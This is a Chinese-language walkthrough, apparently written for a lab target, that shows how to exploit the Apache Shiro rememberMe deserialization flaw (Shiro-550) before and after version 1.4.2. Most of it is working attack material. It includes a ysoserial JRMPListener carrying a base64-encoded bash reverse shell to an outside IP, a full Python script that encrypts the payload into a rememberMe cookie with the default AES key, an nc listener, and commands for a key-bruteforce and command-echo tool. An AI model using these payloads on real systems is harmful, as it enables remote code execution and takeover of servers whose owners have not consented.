五、Shiro rememberMe反序列化漏洞(Shiro-550)
1、版本1.4.2之前
该版本漏洞利用
第一步:启动靶机后,访问URL通过burp抓包,判断环境存在shiro,查看返回包中Set-Cookie中是否存在
第二步:打开公网vps,执行如下命令:(注意这里监听的端口为1099),并执行反弹shell的命令
配置maven
sudo wget https://mirrors.tuna.tsinghua.edu.cn/apache/maven/maven-3/3.6.3/binaries/apache-maven-3.6.3-bin.tar.gz tar -zxvf apache-maven-3.6.3-bin.tar.gz sudo mv apache-maven-3.6.3 /usr/local/maven3 vim /etc/profile 末尾添加maven环境变量: export M2_HOME=/usr/local/maven3 export PATH=$PATH:$JAVA_HOME/bin:$M2_HOME/bin source /etc/profile
下载ysoserial并打包
git clone https://github.com/frohoff/ysoserial.git cd ysoserial mvn package -D skipTests
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections4 "反弹 shell 的命令"
这里的命令需要使用Java Runtime配置bash编码。
在线编码转换地址:http://www.jackson-t.ca/runtime-exec-payloads.html
转换命令如下:(这里是反弹shell的端口为1234)
bash -i >& /dev/tcp/192.168.8.9/1234 0>&1 bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljk5LjEwMS8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}
第三步:最终在VPS上执行的命令如下:
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljk5LjEwMS8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}" java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 "ping e78g5l.dnslog.cn"
第四步:使用exp.py生成payload,命令如下:
python exp.py 192.168.8.9:1099 (注意这里的端口为1099)
import sys import uuid import base64 import subprocess from Crypto.Cipher import AES def encode_rememberme(command): #open = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'UTLDNS', command], stdout=subprocess.PIPE) #open = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'CommonsColllections5', command], stdout=subprocess.PIPE) popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE) BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") iv = uuid.uuid4().bytes encryptor = AES.new(key, AES.MODE_CBC, iv) file_body = pad(popen.stdout.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertext if __name__ == '__main__': payload = encode_rememberme(sys.argv[1]) print ("rememberMe={0}".format(payload.decode()))
第五步:在VPS上,使用nc监听1234端口,命令如下:
nc -lvvp 1234
第六步:通过burp抓取任意的http数据包,在cookie中添加生成的payload
第七步:通过burp发送数据包,查看VPS中java监听接口,nc监听结果。
2、版本1.4.2之后
在Shiro1.4.2版本后,Shiro的加密模式由AES-CBC更换为 AES-GCM,Shiro高版本下的漏洞利用,就需要考虑加密模式变化的情况。另外,这里cookie传递的参数是自定义的,而不是常见的rememberMe,这也是需要注意的地方。
该版本漏洞利用
一个攻击针对脚本,加入的GCM,可以爆破高版本的KEY
Github项目地址:
https://github.com/Ares-X/shiro-exploit.git
首先,我们需要根据目标环境修改python脚本参数,将rememberMe 替换为 xxx_remeberme,使参数能够正常传递。
利用脚本来爆破Shiro key,不指定-v将自动尝试两个版本的爆破
(-v 1 : CBC加密 -v 2 : GCM加密):
python shiro-exploit.py check -u http://192.168.8.6/shiro-cas.shtml python3 shiro-exploit.py check -u http://192.168.8.6/shiro-cas.shtml -v 2
发送回显Payload,获取命令执行结果。
python shiro-exploit.py echo -g CommonsBeanutils2 -v 2 -k 3AvVhmFLUs0KTA3Kprsdag== -c
脚本可能无法显示回显,所以我们可以配置代理去在burp中查看回显
修改python脚本设置代理,在requests使用代理proxies,增加proxies={‘http’: ‘http://’ + ‘127.0.0.1:8080’}。
这样就可以将流量引入BurpSuite,抓取HTTP数据包,手动利用查看回显。